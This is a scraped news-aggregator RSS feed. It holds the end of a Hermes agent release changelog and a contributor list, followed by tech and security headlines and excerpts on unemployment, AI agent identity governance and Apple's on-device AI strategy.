    • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
    • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
    • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

    Sessions & compression

    • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
    • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
    • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

    🌐 Gateway, Fleet & Relay

    • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
    • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
    • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
    • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
    • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

    đŸ“± Messaging Platforms

    • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
    • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
    • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
    • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
    • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
    • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

    đŸ–„ïž Hermes Desktop App

    • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
    • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
    • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
    • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
    • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
    • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
    • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

    📊 Web Dashboard

    🧰 CLI & TUI

    • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
    • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
    • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
    • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
    • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
    • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

    🔧 Tool System, Skills & MCP

    • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
    • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
    • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
    • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
    • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
    • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
    • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

    🔒 Security & Reliability

    • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
    • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
    • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
    • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
    • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
    • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
    • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
    • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
    • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
    • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
    • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

    🔁 Reverted in this window (for the record)

    • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
    • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
    • memory provider-actions extension point (landed, then reverted) — not shipping
    • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

    đŸ‘„ Contributors

    450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

    Core team

    • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
    • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
    • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
    • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
    • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
    • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
    • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
    • @austinpickett — desktop custom endpoint settings
    • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

    Top community contributors

    • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
    • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
    • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
    • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
    • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
    • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
    • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
    • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
    • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
    • @vishal-dharm — Gemini request-context improvements
    • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
    • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
    • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

    All contributors

    @0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
    @adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
    @alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
    @allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
    @AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
    @asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
    @bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
    @briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
    @cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
    @craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
    @datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
    @deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
    @dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
    @doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
    @Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
    @erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
    @fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
    @fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
    @Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
    @Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
    @herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
    @hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
    @infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
    @jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
    @JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
    @jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
    @kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
    @kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
    @LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
    @loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
    @luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
    @ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
    @maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
    @MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
    @neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
    @okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
    @patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
    @plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
    @r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
    @rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
    @roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
    @Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
    @ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
    @SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
    @slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
    @srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
    @Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
    @thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
    @Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
    @UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
    @vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
    @waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
    @WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
    @ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
    @ziliangpeng, @zwcf5200, @zzpigpinggai

    Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

    Full Changelog: v2026.7.1...v2026.7.20

    ]]>         <![CDATA[Developer Sues New Jersey Town After Data Center Ban]]> https://tsecurity.de/de/3681911/ai-nachrichten/developer-sues-new-jersey-town-after-data-center-ban/ https://tsecurity.de/de/3681911/ai-nachrichten/developer-sues-new-jersey-town-after-data-center-ban/ Mon, 20 Jul 2026 20:03:32 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[USN-8563-1: nginx vulnerabilities]]> https://tsecurity.de/de/3681907/unix-server/usn-8563-1-nginx-vulnerabilities/ https://tsecurity.de/de/3681907/unix-server/usn-8563-1-nginx-vulnerabilities/ Mon, 20 Jul 2026 20:01:12 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8564-1: PHP vulnerabilities]]> https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/ https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/ Mon, 20 Jul 2026 20:01:10 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8565-1: SQLite vulnerabilities]]> https://tsecurity.de/de/3681905/unix-server/usn-8565-1-sqlite-vulnerabilities/ https://tsecurity.de/de/3681905/unix-server/usn-8565-1-sqlite-vulnerabilities/ Mon, 20 Jul 2026 20:01:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[Hacker Wipes Romania's Entire Land Registry Database]]> https://tsecurity.de/de/3681830/it-security-nachrichten/hacker-wipes-romanias-entire-land-registry-database/ https://tsecurity.de/de/3681830/it-security-nachrichten/hacker-wipes-romanias-entire-land-registry-database/ Mon, 20 Jul 2026 19:23:29 +0200 📰 IT Security Nachrichten tsecurity.de

    Read more of this story at Slashdot.

    ]]>         <![CDATA[Welcome to the age of extreme job anxiety | Zoe Williams]]> https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/ https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/ Mon, 20 Jul 2026 18:53:47 +0200 🔧 AI Nachrichten tsecurity.de Young, old, midlife – whatever your age, gender or sector, the unemployment crisis is hitting us all. The only way through it is together

    The personal experience of long-term unemployment is one people rarely share, for completely understandable reasons. There’s a bit of superstition that saying it out loud will bed it in, and there’s always one person in 100 who will choose to explain away the misfortune as your own personal failing.

    Even if they’re clearly in the grip of superstitions of their own – trying to ward off your fate for themselves – it’s hard not to take criticism personally in such a personal situation. The conventions of human interaction are that you shouldn’t really mention a cloud unless you have a silver lining handy. For instance: after the financial crash in 2008, I remember hearing a couple interviewed on the radio who had both been made redundant when the private school they worked for closed down. After describing months of fruitless job applications, the wife ended saying they’d been able to spend much more time in their allotment, and she reckoned their rocket yield alone had saved them a small fortune. That, I thought, is a remarkable and yet probably universal commitment to looking on the bright side.

    Continue reading...]]>         <![CDATA[USN-8559-1: rlottie vulnerabilities]]> https://tsecurity.de/de/3681613/unix-server/usn-8559-1-rlottie-vulnerabilities/ https://tsecurity.de/de/3681613/unix-server/usn-8559-1-rlottie-vulnerabilities/ Mon, 20 Jul 2026 18:18:45 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8560-1: libXfont vulnerabilities]]> https://tsecurity.de/de/3681612/unix-server/usn-8560-1-libxfont-vulnerabilities/ https://tsecurity.de/de/3681612/unix-server/usn-8560-1-libxfont-vulnerabilities/ Mon, 20 Jul 2026 18:18:44 +0200 🐧 Unix Server tsecurity.de <![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]> https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/ https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/ Mon, 20 Jul 2026 18:03:50 +0200 📰 IT Nachrichten tsecurity.de Presented by JumpCloud

    The organizations losing confidence in AI are the ones most likely to get it right.

    Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.

    We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.

    That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.

    Deployment was the easy part

    84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.

    In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.

    The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.

    The gap between perception and reality is where risk accumulates

    The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.

    The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.

    The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.

    The governance gap has a specific shape

    The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.

    Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.

    The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.

    What the confidence drop is actually telling us

    When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.

    The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.

    84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.

    JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available here. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.

    Rajat Bhargava is CEO and Co-founder at JumpCloud.

    Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

    ]]>         <![CDATA['A high-performing endurance watch that operates wonderfully' — the Garmin Epix Pro (2nd Gen) crashes to $549.99 at Best Buy]]> https://tsecurity.de/de/3681542/it-nachrichten/a-high-performing-endurance-watch-that-operates-wonderfully-the-garmin-epix-pro-2nd-gen-crashes-to-54999-at-best-buy/ https://tsecurity.de/de/3681542/it-nachrichten/a-high-performing-endurance-watch-that-operates-wonderfully-the-garmin-epix-pro-2nd-gen-crashes-to-54999-at-best-buy/ Mon, 20 Jul 2026 17:16:46 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[RayRoPE: Projective Ray Positional Encoding for Multi-View Attention]]> https://tsecurity.de/de/3681440/ai-nachrichten/rayrope-projective-ray-positional-encoding-for-multi-view-attention/ https://tsecurity.de/de/3681440/ai-nachrichten/rayrope-projective-ray-positional-encoding-for-multi-view-attention/ Mon, 20 Jul 2026 16:49:52 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[The AirPods Max 2 are down to their second-best price]]> https://tsecurity.de/de/3681413/it-nachrichten/the-airpods-max-2-are-down-to-their-second-best-price/ https://tsecurity.de/de/3681413/it-nachrichten/the-airpods-max-2-are-down-to-their-second-best-price/ Mon, 20 Jul 2026 16:48:26 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Apple could ‘run the table’ on AI if it does things right]]> https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ Mon, 20 Jul 2026 15:33:26 +0200 📰 IT Nachrichten tsecurity.de

    Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

    Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

    Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. 

    Deeply deployable

    Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

    Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

    The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. 

    While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

    What’s wrong with good enough?

    When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

    Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. 

    It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

    What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

